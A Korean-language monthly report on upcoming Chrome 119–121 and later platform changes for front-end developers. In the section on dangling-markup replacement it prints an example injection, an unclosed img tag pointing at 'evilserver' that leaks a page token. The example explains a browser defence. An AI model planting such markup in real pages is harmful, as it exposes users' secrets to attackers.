월간 크롬 이슈 리포트 2023년 10월호

들어가며

프런트엔드 개발에 가장 많은 영향을 주는 크롬 브라우저의 버전별 변경 예정 항목을 정리 및 공유한다.

💡 각 항목은 Chrome Platform Status의 Roadmap과 한 달간의 blink-dev 활동 요약을 바탕으로 정리했다.

💡 각 항목의 🚫는 지원 중단 및 제거(Removed), ⚠️는 지원 중단(Deprecated), ✅는 새로운 기능(Enabled by default), 🧪는 미리 보기(Developer Trial, Origin Trial)를 의미한다.

💡 각 항목 중 기존 서비스에 미치는 영향이 크다고 판단한 항목은 소제목 뒤에 📌 표시를 했다.

💡 지원 중단 및 제거(🚫), 지원 중단(⚠️) 외의 항목은 공유 가치가 있다고 판단한 경우에만 포함했다.

💡 개발자 미리 보기(🧪)는 chrome://flags에서 Experimental Web Platform features 항목을 활성화하거나(Developer Trial), Origin Trial을 활성화해 사용할 수 있다.

💡 각 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 Chrome Platform Status를 그대로 인용했다.

목차

1. Chrome 119

   • ⚠️ WebSQL 지원 중단
   • ⚠️ 비표준 속성 shadowroot 지원 중단
   • ⚠️ Sanitizer API 제거
   • ✅ 기존 쿠키에 최대 만료일 제한 적용
   • ✅ CSS 상대 색상 문법
   • ✅ 스크롤 영역 자동 초점
   • ✅ Fetch API: 교차 출처 리디렉션 시 Authorization 헤더 제거
   • ✅ target 속성의 댕글링 마크업 치환
   • ✅ URL 구두점 처리 표준화 📌
   • 🗓️ 배포일

2. Chrome 120

   • ✅ CSPEE 동일 출처 특권 제거
   • ✅ CloseWatcher
   • ✅ IntersectionObserver: scrollMargin 옵션
   • ✅ CSS scripting 미디어 규칙
   • ✅ SVGUseElement의 data: URL 차단
   • 🗓️ 배포 예정일

3. Chrome 121

   • ✅ HTMLSelectElement.showPicker() 메서드 추가
   • 🗓️ 배포 예정일

4. Chrome NEXT

   • 🚫 [Chrome 127] Mutation 이벤트 제거 📌
   • ⚠️ unload 이벤트 지원 중단 📌
   • ⚠️ CSS 구형 사용자 지정 상태 문법 지원 중단
   • ⚠️ Theora 비디오 코덱 지원 중단
   • ✅ 내부망에 대한 하위 리소스 요청 규칙 적용

1. Chrome 119

⚠️ WebSQL 지원 중단

WebSQL은 과거 브라우저에 데이터를 저장하기 위해 제안된 API로, Webkit 기반의 일부 브라우저에서만 사용이 가능했다. 하지만 이 프로젝트는 보안 구현 등의 어려움으로 1년 만에 폐기되었고, Webkit도 2019년에 이 API를 지원 중단했다.

이미 대부분의 브라우저에서 Web Storage API, IndexedDB API 같은 최신 저장소 API를 사용할 수 있어 이 API를 지원 중단한다. 이미 Chrome 97에서 제3자 컨텍스트의 WebSQL을 제거했으며, Chrome 105에서는 보안 연결을 사용하지 않는 페이지에서의 사용을 지원 중단했다.

웹에서 SQL을 계속 사용하려면 웹 어셈블리를 이용한 SQLite가 공식 대안이므로 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 해당 없음
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: Deprecate and Remove WebSQL
• Web SQL Database
• sqlite3 WebAssembly & JavaScript Documentation Index

⚠️ 비표준 속성 shadowroot 지원 중단

선언적 Shadow DOM은 <template> 요소에 shadowroot 속성을 지정해 템플릿에서 직접 Shadow DOM을 활성화할 수 있는 기능이다. 표준에서 이 속성에 대한 이름을 shadowrootmode로 변경함에 따라 기존 shadowroot 속성을 지원 중단한다. shadowroot는 Chrome에서 그대로 동작하나, Chrome 111에서 추가된 스트리밍 기능을 사용할 수 없다. shadowrootmode는 Chrome 111 이상에서 사용할 수 있으며, 다른 브라우저에서도 지원 예정이므로 shadowrootmode 속성을 사용하는 것이 좋다.

<host-element>
- <template shadowroot="open">
+ <template shadowrootmode="open">
    <slot></slot>
  </template>
  <h2>Light content</h2>
</host-element>

Chrome 112에서 shadowroot 속성에 대한 지원 중단 미리 보기를 추가했으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 의견 없음
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: Deprecate non-standard shadowroot attribute for declarative shadow DOM (Deprecated)
• 선언적 섀도 DOM(Declarative Shadow DOM)
• Shadow DOM v1 - Self-Contained Web Components
• Declarative Shadow DOM

⚠️ Sanitizer API 제거

Chrome 105에서 초안을 기반으로 구현했던 Sanitizer API를 제거한다. 논의 과정에서 명세가 많이 변경되어 초안의 구현체를 사용하는 페이지가 많아지는 것을 사전에 방지하기 위한 조치다.

Sanitizer API는 아직 논의 중이며, 정식 반영 일정은 불투명하다. 변경점이 더 있을 수 있으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: Remove Sanitizer API
• Feature: Sanitizer API MVP
• Sanitizer API

✅ 기존 쿠키에 최대 만료일 제한 적용

Chrome 은 104버전에서 쿠키의 최대 만료일(Max-Age 또는 Expires)을 400일로 제한했다. 다만 이는 새로 설정하는 쿠키에만 적용되어 기존에 설정한 쿠키는 만료 기한이 400일이 넘더라도 그대로 사용 가능했다.

Chrome 119에서는 기존에 설정한 쿠키에도 400일의 최대 만료일을 적용할 예정이다. 만약 119 버전 업데이트 시점에 400일이 넘는 쿠키가 있다면, 업데이트 시점을 기준으로 400일 이후에 쿠키가 만료된다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 긍정적
• 웹 개발자: 복합적

참조

• Feature: Cookie Expires/Max-Age attribute upper limit for prior storage
• Cookie Expires and Max-Age attributes now have upper limit

✅ CSS 상대 색상 문법

현채 초안인 CSS 상대 색상 문법(Relative Color Syntax)을 추가한다. 기존 CSS에서 색상은 항상 절대값으로만 지정이 가능했으나, 이 기능이 추가되면 원본 색상(origin color)을 수정해 상대 색상값을 사용할 수 있다.

상대 색상은 기존 문법과 달리 rgb, hsl 등의 함수 안에서만 동작하며, from 키워드를 통해 원본 색상을 선언하고, 다음 값으로 각 색상의 채널을 수정하는 구문을 넘겨 원본 색상을 수정한다.

.comment {
  color: rgb(from var(--article-color) r g b / 80%);
}

위 예시는 --article-color의 r g b 각 채널의 투명도를 80%로 줄인 색상을 .comment의 색상으로 사용한다. 수정 단락에서는 rgb, hsl 등 함수에 따라 색상 채널을 인자로 받을 수 있으며, 이 값을 calc 함수를 사용해 연산할 수도 있다.

.accent {
  --darker-color: hsl(from var(--color) h s calc(l * 0.4));
}

각 색상 채널은 생략할 수 있으며, 생략할 경우 원본 색상의 채널 값을 그대로 사용한다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 의견 없음
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: CSS Relative Color Syntax (RCS)
• Relative Color Syntax

✅ 스크롤 영역 자동 초점

스크롤 가능한 요소에 tabindex가 없더라도 자동으로 초점을 맞추도록 변경한다. 이는 마우스가 없는 환경에서 접근성을 높이기 위한 조치로, 스크롤 영역에 초점을 맞추고 화살표 키로 요소를 스크롤할 수 있다.

다만 실제 사이트에서 이 기능이 동작하는 경우는 찾기 어려울 것으로 보인다. 해당 기능은 자식 요소에 초점을 맞출 수 있는 요소가 없을 때만 적용되기 때문이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 배포 완료
• Safari: 의견 없음
• 웹 개발자: 긍정적

참조

• Feature: Keyboard-focusable scroll containers
• Scrolling Overflow

✅ Fetch API: 교차 출처 리디렉션 시 Authorization 헤더 제거

Fetch API 표준에서 교차 출처 리디렉션 시 Authorization 헤더를 제거하도록 변경하였다. 표준 스펙 반영을 위해 Fetch API로 HTTP 요청 시, 교차 출처로 리디렉션하는 경우 Authorization 헤더를 제거하도록 변경한다.

Fetch API를 사용하는 경우, 교차 출처 리디렉션 시 예기치 않게 인증이 풀리는 일이 발생할 수 있어 확인이 필요하다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 개발 중
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: Remove Authorization header upon cross-origin redirect
• Fetch Standard - HTTP-redirect fetch
• Fetch API

✅ target 속성의 댕글링 마크업 치환

댕글링 마크업 삽입(Dangling markup injection)은 웹 공격 중 하나로, HTML 분석기의 허점을 이용해 악성 코드를 삽입해 사용자의 정보를 가로채는 공격을 말한다.

<img src="https://evilserver/?<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah"></form>

위 코드는 <img> 요소를 일부러 불완전하게 작성함으로써 브라우저가 <img>의 주소인 https://evilserver에 사용자의 정보를 포함한 코드(<b>test</b><script>token = 'supersecret';</script><form action=)를 보내도록 유도했다.

Chrome은 이런 공격에 대비해 미리 방어 조치를 취해두었으나, target 속성은 아직 이 조치가 적용되지 않았다. Chrome 119부터는 target 속성의 값이 댕글링 마크업인 경우 해당 target 속성을 _blank로 초기화하도록 변경할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: Replace dangling markup in target name to _blank
• Postcard from the post-XSS world (2011)

✅ URL 구두점 처리 표준화 📌

URL 호스트 이름의 구두점 처리를 표준과 동일하게 변경한다. 기존에는 호스트 이름의 구두점 문자를 대부분 이스케이프(escape) 처리했으나, 일부 문자(SPACE, *)를 제외하고 표준에 맞게 오류를 던지거나 허용하는 방식으로 변경할 예정이다.

• ⭕️: 허용
• 🚫: 비허용, 타입 오류 발생
• esc: 이스케이프 처리

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: Standard compliant URL host punctuation characters
• URL Standard - Host writing

🗓️ 배포일

Chrome 119은 2023년 10월 25일에 정식 배포되었다.

2. Chrome 120

✅ CSPEE 동일 출처 특권 제거

CSPEE(Content-Security-Policy Embedded Enforcement)는 구글에서 제안한 기능으로, 하위 요소(<iframe> 등)가 특정 CSP를 지키기로 했을 때만 하위 요소를 불러오는 기능이다.

이 기능은 동일 출처일 때 손쉽게 사용이 가능했으나, 특정 요소를 차단해 잠재적으로 XSS에 노출될 수 있다는 보안 위협이 있었다. 또한 A 사이트에서 B 사이트를, B 사이트에서 다시 A 사이트의 페이지를 중첩해 렌더링하는 경우에는 이 기능이 제대로 동작하지 않는 버그도 있었다.

아직 CSPEE를 사용하는 사이트는 전체 사이트의 0.000017% 정도여서 동일 출처에 대한 특권을 제거한다. 업데이트 이후에는 동일 출처도 교차 출처처럼 CSPEE를 활성화해야 한다.

<iframe
  src="https://advertisements-r-us.example.com/ad1.cfm"
  csp="script-src https://trusted-cdn.example.com/"
>
</iframe>

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: Remove same-origin blanket enforcement in CSPEE
• Content Security Policy: Embedded Enforcement

✅ CloseWatcher

사용자가 무언가를 취소하거나 닫는 행위를 했을 때 이를 감지할 수 있는 CloseWatcher를 추가한다.

CloseWatcher는 데스크톱의 escape 버튼을 누르거나, 안드로이드 기기에서 뒤로가기 제스처를 실행하는 등, 사용자가 무언가 닫는 동작을 요청했을 때 리스너에 이벤트를 전파한다.

현재는 이런 동작을 구현하기 위해 직접 keydown 이벤트에 리스너를 추가하거나, 각 플랫폼(iOS, Android 등)에 맞춘 전용 코드를 작성해야 해 번거롭다. CloseWatcher를 사용하면 이런 동작을 보다 간편하게 구현할 수 있다.

const watcher = new CloseWatcher();

watcher.addEventListener('close', () => {
  myModal.close();
});

myModalCloseButton.addEventListener('click', () => {
  watcher.destroy();
  myModal.close();
});

Chrome 팀은 내부적으로 <dialog>, popover 등의 오버레이도 해당 API를 사용하도록 변경할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 의견 없음
• 웹 개발자: 긍정적

참조

• Feature: Close requests for CloseWatcher,
  , and popover=""
• Close Watchers

✅ IntersectionObserver: scrollMargin 옵션

요소가 실제로 화면에 있는지 여부를 감지하는 IntersectionObserver에 scrollMargin 옵션을 추가한다.

문법은 rootMargin과 같으며, root 요소와 실제 스크롤 컨테이너가 다를 경우 스크롤 컨테이너의 rootMargin처럼 사용할 수 있다.

<style>
  .scroll-container {
    width: 300px;
    height: 300px;
    background-color: lightcoral;
    overflow: scroll;
  }

  .content {
    width: 100%;
    height: 1000px;
  }

  #target {
    width: 50px;
    height: 50px;
    background-color: pink;
  }
</style>

<div class="scroll-container">
  <div class="content"></div>
  <div id="target"></div>
</div>

const observer = new IntersectionObserver(
  (entries) => {
    // ...
  },
  {
    // #target이 .scroll-container보다 상하좌우 50px 씩 큰 영역 안에 들어왔을 때 실행
    scrollMargin: '-50px',
  }
);

observer.observe(document.getElementById('#target'));

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 긍정적
• 웹 개발자: 긍정적

참조

• Feature: Intersection Observer Scroll Margin
• Intersection Observer - scrollMargin
• Intersection Observer API

✅ CSS scripting 미디어 규칙

CSS의 scripting 미디어 규칙을 추가한다. 이 속성을 사용하면 브라우저의 스크립트 허용 설정에 따른 스타일을 작성할 수 있다.

@media (scripting: none) {
  .message {
    color: red;
  }
}

@media (scripting: initial-only) {
  .message {
    color: orange;
  }
}

@media (scripting: enabled) {
  .message {
    color: green;
  }
}

속성에 사용 가능한 값은 none, initial-only, enabled로 각각 스크립트 차단, 초기 로드 시에만 허용, 활성화 상태를 가리킨다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 배포 완료
• Safari: 배포 완료
• 웹 개발자: 의견 없음

참조

• Feature: Media Queries: scripting feature
• Media Queries Level 5 - Scripting Support: the scripting feature
• scripting

✅ SVGUseElement의 data: URL 차단

SVG의 <use>를 사용하면 외부 SVG 이미지를 불러와 현재 문서에 붙여넣을 수 있다. 강력한 기능이나 보안 문제가 있는 만큼 <use>에는 동일 출처 정책(same-origin policy)이 적용된다. 하지만 data: URL을 사용하는 경우는 항상 동일 출처로 취급하며, 일부 보안 모듈을 거치지 않는다.

Chrome 120부터는 data: URL을 지원 중단할 예정이므로 기존에 data: URL을 사용했다면 해당 이미지를 동일 출처의 .svg 이미지로 변환하거나, 인라인에서 직접 이미지를 관리하는 방법으로 전환하기를 권장한다.

<!-- SVG로 변환 -->
<svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg">
  <circle id="circle" cx="5" cy="5" r="4" stroke="blue" />
  <use href="#circle" />
</svg>

// 스크립트로 직접 이미지를 관리
const url = URL.createObjectURL(blob);
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
const use = document.createElementNS('http://www.w3.org/2000/svg', 'use');
use.setAttribute('href', `${url}#circle`);
svg.appendChild(use);
document.body.appendChild(svg);

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 긍정적
• 웹 개발자: 의견 없음

참조

• Feature: Remove data: URL in SVGUseElement
• Migrate away from data URLs in SVG element

🗓️ 배포 예정일

Chrome 120은 2023년 11월 29일에 정식 배포 예정이다. 11월 1일부터 11월 16일 사이에 Chrome 베타 버전에서 해당 기능을 미리 확인해 볼 수 있다.

3. Chrome 121

✅ HTMLSelectElement.showPicker() 메서드 추가

HTMLSelectElement, <select> 요소에 showPicker() 메서드를 추가한다. <input type="color" />, <input type="date" /> 등의 일부 인풋 타입은 이미 사용가능한 메서드로, Chrome 121에서는 <select> 요소에도 해당 메서드를 추가할 예정이다.

기존에는 <select> 요소의 옵션 창을 간편하게 열 수 있는 방법이 없었으나, 업데이트 이후에는 아래처럼 메서드 호출로 직접 옵션 창을 열 수 있다.

const selectEl = document.getElementById('select');

selectEl.showPicker();

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: HTMLSelectElement showPicker()
• HTML Standard - input.shoPicker()
• HTMLInputElement.showPicker() method

🗓️ 배포 예정일

Chrome 121은 2024년 1월 17일에 정식 배포 예정이다. 2023년 12월 6일부터 2024년 1월 11일 사이에 Chrome 베타 버전에서 해당 기능을 미리 확인해 볼 수 있다.

4. Chrome NEXT

🚫 [Chrome 127] Mutation 이벤트 제거 📌

MutationEvent는 DOM 요소에 변경이 있을 때 발생하는 이벤트로, DOMSubtreeModified, DOMNodeInserted, DOMNodeRemoved 등이 있다.

element.addEventListener(
  'DOMNodeInserted',
  (event) => {
    console.log('새로운 요소를 감지했습니다.', event.srcElement);
  },
  false
);

element.append(document.createElement('span'));

// 새로운 요소를 감지했습니다. <span></span>

이 이벤트를 사용하면 DOM 변경을 추적할 수 있으나, 설계상 결함과 치명적인 성능 문제를 이유로 2011년에 표준에서 퇴출되었다.

2012년에 더 안정적인 MutationObserver가 등장하여 현재 대부분의 브라우저에서 이 이벤트 사용 시 콘솔에 경고를 노출한다. 아직 MutationEvent를 사용한다면 MutationObserver로 전환할 것을 적극 권장한다.

const observer = new MutationObserver((mutations) => {
  for (const mutation of mutations) {
    if (mutation.type === 'childList') {
      console.log('새로운 요소를 감지했습니다.', ...mutation.addedNodes);
    }
  }
});

observer.observe(element, { childList: true });
element.append(document.createElement('span'));

// 새로운 요소를 감지했습니다. <span></span>

Chrome 115부터는 Mutation 이벤트 사용 시 좀 더 강력한 경고를 노출하며, 2024년 7월 말 배포 예정인 Chrome 127에서는 해당 API를 제거할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 긍정적
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: Mutation Events (Deprecated)
• UI Events
• MutationEvent
• MutationObserver

⚠️ unload 이벤트 지원 중단 📌

unload 이벤트는 해당 문서를 떠나거나 하위 리소스를 메모리에서 해제할 때 발생하는 이벤트이다. 이 이벤트를 이용하면 사용자가 페이지를 종료하기 전에 특정 동작을 실행할 수 있다.

window.addEventListener('unload', (event) => {
  navigator.sendBeacon('/api/log', 'unload!');
});

하지만 unload 이벤트는 beforeunload 이벤트와 달리 기본 동작을 취소(event.preventDefault())할 수 없어 이벤트가 아예 발생하지 않기도 한다. W3C의 통계에 따르면 unload 이벤트가 제대로 발생하는 경우가 Chrome 데스크탑에서는 95%, 모바일에서는 57% ~ 68% 정도로, 이는 모바일 환경의 특성상 브라우저가 아닌 다른 앱을 보다가 브라우저 자체를 종료하는 경우가 빈번하기 때문이다.

Chrome은 점진적으로 unload 이벤트를 제거한다는 계획으로, 먼저 Permission-Policy를 추가하고, 기본값을 deny로 바꾸며, 결과적으로는 unload 이벤트 자체를 제거할 계획이다. Chrome 117에서 unload 이벤트의 허용 여부를 결정하는 Permission-Policy의 미리 보기를 추가했으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 의견 없음
• Safari: 의견 없음
• 웹 개발자: 긍정적

참조

• Feature: Deprecate unload event
• [draft] add unload permissions-policy feature
• Window: unload event

⚠️ CSS 구형 사용자 지정 상태 문법 지원 중단

CSS의 사용자 지정 상태 문법은 사용자가 직접 요소의 상태를 지정해 가상 선택자 등으로 사용할 수 있는 기능으로, 현재 초안 상태다.

class MyCustomElement extends HTMLElement {
  set checked(flag) {
    if (flag) {
      this._internals.states.add('--foo');
    } else {
      this._internals.states.delete('--foo');
    }

    console.log(this._internals.states.has('--foo'));
  }
}

.custom:--foo {
  color: red;
}

기존에는 예시처럼 --foo와 같은 문법을 사용했으나, 이 문법이 현재 제안 중인 @custom-selectors 문법과 겹쳐 :state(foo)로 문법을 변경하였다.

.custom:state(foo) {
  color: red;
}

현재 Chrome 90에서 구현한 구형 문법을 사용하는 사이트는 약 0.03%로 Chrome 팀은 먼저 구형 문법을 지원 중단하기 위한 일정을 논의 중이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 의견 없음
• Safari: 의견 없음
• 웹 개발자: 의견 없음

참조

• Feature: Deprecate old CSS custom state syntax
• [selectors] Custom state pseudo class proposal
• CustomStateSet
• CSS Extensions - Custom Selectors

⚠️ Theora 비디오 코덱 지원 중단

Theora는 2000년 초 발표된 오픈소스 비디오 코덱으로, .ogv, ..ogg 등의 파일 형식에서 드물게 사용한다. 특정 미디어 코덱에 대한 보안 위협을 발견했고, 사파리와 안드로이드 크롬은 해당 코덱을 지원한 적이 없으며, 사용률도 과거에 비해 거의 감지하기 어려운 수준으로 낮아져 Theora 코덱을 지원 중단할 예정이다.

현재 지원 중단 미리 보기는 Chrome 120에 배포하는 것을 계획 중이다. 지원 중단 기간부터 Theora 코덱은 기본으로 사용이 불가능할 예정이며, chrome://flags/#theora-video-codec에서 기능을 활성화해 기존처럼 Theora 코덱을 사용할 수 있다.

지원 중단 및 제거 일정은 내년 3월에 배포 예정인 Chrome 123으로 계획 중이다. 만약 업데이트 이후에도 계속 Theora 코덱을 사용해야 한다면 ogv.js 폴리필이 있으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

• Firefox: 고려 중
• Safari: 배포 완료
• 웹 개발자: 복합적

참조

• Feature: Deprecate and remove Theora support.
• Theora

✅ 내부망에 대한 하위 리소스 요청 규칙 적용

내부망 접근 규칙(Local Network Access) 적용의 일부로 하위 리소스(.js, .css 등)를 요청할 때 내부망(사설 IP, localhost)에 대한 접근 제한을 검토 중이다. 정식 적용 일정은 불투명하나, 미리 보기로 일부 기능을 체험할 수 있다.

공개 웹 사이트의 내부망 하위 리소스 접근 제한

공개 웹 사이트(공개 IP로 접근 가능한 사이트)에서 내부망에 하위 리소스(.js, .css 등) 요청 시 반드시 보안 컨텍스트(HTTPS)를 사용하도록 제한한다. 내부망의 하위 리소스에 접근하려면 보안 컨텍스트를 사용하도록 변경해야 한다.

Chrome 86 이상에서 실험적 웹 기능을 활성화해 접근 제한을 미리 체험할 수 있다.

내부망에 하위 리소스 요청 시 사전 요청 발송

내부망에 하위 리소스 요청 시 사전 요청을 보내 연결 허용 여부를 먼저 묻는다. 현재는 사전 요청 실패 시 개발자 콘솔에 경고만 노출한다.

참조

• Feature: Restrict "private network requests" for subresources from public websites to secure contexts.
• Feature: Private Network Access preflight requests for subresources: warning-only mode
• Local Network Access